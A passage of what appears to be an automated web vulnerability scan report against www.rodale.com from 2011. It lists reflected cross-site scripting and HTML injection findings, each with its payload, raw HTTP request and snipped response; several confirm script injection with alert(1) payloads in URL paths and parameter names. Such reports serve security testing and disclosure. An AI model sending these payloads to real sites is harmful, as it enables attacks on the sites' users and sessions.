Confidence:	Firm
Host:	http://www.rodale.com
Path:	/benefits-walking

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7362f"><a>faf41ae25b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /benefits-walking7362f"><a>faf41ae25b4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:58 GMT
Date: Thu, 10 Mar 2011 17:05:58 GMT
Content-Length: 22464
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page benefits-walking7362f"><a>faf41ae25b4 node node-958">
...[SNIP]...

2.133. http://www.rodale.com/benefits-walking [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/benefits-walking

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bec2"><script>alert(1)</script>ec68e81f22b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /benefits-walking?4bec2"><script>alert(1)</script>ec68e81f22b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:56 GMT
Date: Thu, 10 Mar 2011 17:05:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=s63qiq0qr11ee9igm45mapavl7; path=/; domain=.rodale.com
Content-Length: 38442

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/benefits-walking?4bec2"><script>alert(1)</script>ec68e81f22b=1&title=8+Astonishing+Benefits+of+Walking">
...[SNIP]...

2.134. http://www.rodale.com/cas [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/cas

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36c9f"><a>433b5975bcc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cas36c9f"><a>433b5975bcc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:56 GMT
Date: Thu, 10 Mar 2011 17:07:56 GMT
Content-Length: 22425
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page cas36c9f"><a>433b5975bcc node node-958">
...[SNIP]...

2.135. http://www.rodale.com/caslogin [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/caslogin

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b839c"><a>38ac21ff284 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /casloginb839c"><a>38ac21ff284 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:36 GMT
Date: Thu, 10 Mar 2011 17:05:36 GMT
Content-Length: 22440
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page casloginb839c"><a>38ac21ff284 node node-958">
...[SNIP]...

2.136. http://www.rodale.com/chemicals-plastic [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/chemicals-plastic

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e0c2"><a>cdc2ec784d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /chemicals-plastic9e0c2"><a>cdc2ec784d2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:50 GMT
Date: Thu, 10 Mar 2011 17:05:50 GMT
Content-Length: 22467
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page chemicals-plastic9e0c2"><a>cdc2ec784d2 node node-958">
...[SNIP]...

2.137. http://www.rodale.com/chemicals-plastic [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/chemicals-plastic

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a391"><script>alert(1)</script>fb00446b477 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /chemicals-plastic?8a391"><script>alert(1)</script>fb00446b477=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:47 GMT
Date: Thu, 10 Mar 2011 17:05:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=pnldn7gcqp6dvi8le115h9e464; path=/; domain=.rodale.com
Content-Length: 44125

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/chemicals-plastic?8a391"><script>alert(1)</script>fb00446b477=1&title=All+Plastics+Are+Bad+for+Your+Body%2C+New+Study+Finds">
...[SNIP]...

2.138. http://www.rodale.com/contact [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/contact

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7bb9"><a>cdd3abcb2cc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /contactd7bb9"><a>cdd3abcb2cc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:37 GMT
Date: Thu, 10 Mar 2011 17:07:37 GMT
Content-Length: 22437
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page contactd7bb9"><a>cdd3abcb2cc node node-958">
...[SNIP]...

2.139. http://www.rodale.com/contact [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/contact

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6cc77"><a>02eecc34017 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /contact?6cc77"><a>02eecc34017=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:49 GMT
Content-Type: text/html; charset=utf-8
Expires: Thu, 10 Mar 2011 17:06:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:06:51 GMT
Content-Length: 24362
Connection: close
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=gdnh48fudra7ftjrm96rk8irl0; path=/; domain=.rodale.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/contact?6cc77"><a>02eecc34017=1" title="Register" class="moreLink">
...[SNIP]...

2.140. http://www.rodale.com/cookware-comparison [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/cookware-comparison

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 470d9"><a>52365c65d77 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cookware-comparison470d9"><a>52365c65d77 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:40 GMT
Date: Thu, 10 Mar 2011 17:07:41 GMT
Content-Length: 22473
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page cookware-comparison470d9"><a>52365c65d77 node node-958">
...[SNIP]...

2.141. http://www.rodale.com/cookware-comparison [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/cookware-comparison

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59909"><script>alert(1)</script>0387b9ce502 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cookware-comparison?59909"><script>alert(1)</script>0387b9ce502=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:07:38 GMT
Date: Thu, 10 Mar 2011 17:07:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=5fgvfhe6bcnq77b418rv6o9dh3; path=/; domain=.rodale.com
Content-Length: 40467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/cookware-comparison?59909"><script>alert(1)</script>0387b9ce502=1&title=How+to+Choose+the+Safest%2C+Healthiest%2C+Best-Cooking+Cookware">
...[SNIP]...

2.142. http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/corp/sub/0,,1-28,00.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19eb2"><a>ee15deb4ca8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /corp19eb2"><a>ee15deb4ca8/sub/0,,1-28,00.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:14 GMT
Date: Thu, 10 Mar 2011 17:20:14 GMT
Content-Length: 22508
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page corp19eb2"><a>ee15deb4ca8 corp19eb2">
...[SNIP]...

2.143. http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/corp/sub/0,,1-28,00.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2baf1"><a>be12606df96 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /corp/sub2baf1"><a>be12606df96/0,,1-28,00.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:43 GMT
Date: Thu, 10 Mar 2011 17:20:43 GMT
Content-Length: 22487
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page corp corp-sub2baf1"><a>be12606df96 node node-958">
...[SNIP]...

2.144. http://www.rodale.com/corp/sub/0,,1-28,00.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/corp/sub/0,,1-28,00.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96e36"><script>alert(1)</script>f26dd7b40d4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /corp/sub/0,,1-28,00.html96e36"><script>alert(1)</script>f26dd7b40d4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:21:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:51:11 GMT
Date: Thu, 10 Mar 2011 17:21:12 GMT
Content-Length: 22520
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/corp/sub/0,,1-28,00.html96e36"><script>alert(1)</script>f26dd7b40d4" title="Register" class="moreLink">
...[SNIP]...

2.145. http://www.rodale.com/corp/sub/0,,1-28,00.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/corp/sub/0,,1-28,00.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7ef5"><script>alert(1)</script>ca9085abe4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /corp/sub/0,,1-28,00.html?d7ef5"><script>alert(1)</script>ca9085abe4f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:10 GMT
Date: Thu, 10 Mar 2011 17:20:10 GMT
Content-Length: 22530
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/corp/sub/0,,1-28,00.html?d7ef5"><script>alert(1)</script>ca9085abe4f=1" title="Register" class="moreLink">
...[SNIP]...

2.146. http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/corp/sub/1,1874,1-28,00.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 444b0"><a>207d0a98d65 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /corp444b0"><a>207d0a98d65/sub/1,1874,1-28,00.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:20 GMT
Date: Thu, 10 Mar 2011 17:20:20 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page corp444b0"><a>207d0a98d65 corp444b0">
...[SNIP]...

2.147. http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/corp/sub/1,1874,1-28,00.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f86f1"><a>bd8b9252f57 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /corp/subf86f1"><a>bd8b9252f57/1,1874,1-28,00.html HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:55 GMT
Date: Thu, 10 Mar 2011 17:20:55 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page corp corp-subf86f1"><a>bd8b9252f57 node node-958">
...[SNIP]...

2.148. http://www.rodale.com/corp/sub/1,1874,1-28,00.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/corp/sub/1,1874,1-28,00.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d183"><script>alert(1)</script>e72a4b6dfaf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /corp/sub/1,1874,1-28,00.html1d183"><script>alert(1)</script>e72a4b6dfaf HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:21:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:51:26 GMT
Date: Thu, 10 Mar 2011 17:21:26 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/corp/sub/1,1874,1-28,00.html1d183"><script>alert(1)</script>e72a4b6dfaf" title="Register" class="moreLink">
...[SNIP]...

2.149. http://www.rodale.com/corp/sub/1,1874,1-28,00.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/corp/sub/1,1874,1-28,00.html

Issue detail

